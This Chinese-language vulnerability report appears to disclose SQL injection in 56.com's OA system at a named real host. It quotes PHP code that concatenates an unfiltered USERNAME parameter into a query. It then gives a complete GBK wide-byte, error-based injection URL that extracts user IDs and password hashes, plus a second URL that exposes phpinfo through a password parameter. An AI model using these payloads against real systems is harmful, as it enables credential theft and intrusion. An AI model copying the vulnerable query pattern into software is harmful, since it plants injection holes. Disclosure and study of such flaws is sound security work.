56网OA系统SQL注入

http://oa.corp.56.com是OA系统

ispirit/check_secure_key.php没有过滤USERNAME参数，导致了SQL注入漏洞

$USERNAME = $_GET['USERNAME'];

$query = "SELECT SECURE_KEY_SN from USER where USER_ID='".$USERNAME."'";

$cursor = exequery( TD::conn( ), $query );

虽然开启了magic_quotes_gpc，但是可以用GBK宽字节注入。

http://oa.corp.56.com/ispirit/check_secure_key.php?USERNAME=%df%27and(select%201%20from%20(select%20count(*),concat((select%20concat(user_id,0x3b,password)%20from%20user%20order%20by%20uid%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

暴用户密码hash
再送一个phpinfo信息泄漏

http://oa.corp.56.com/inc/php.php?MYOA_PASSWORD=qiqiphp

过滤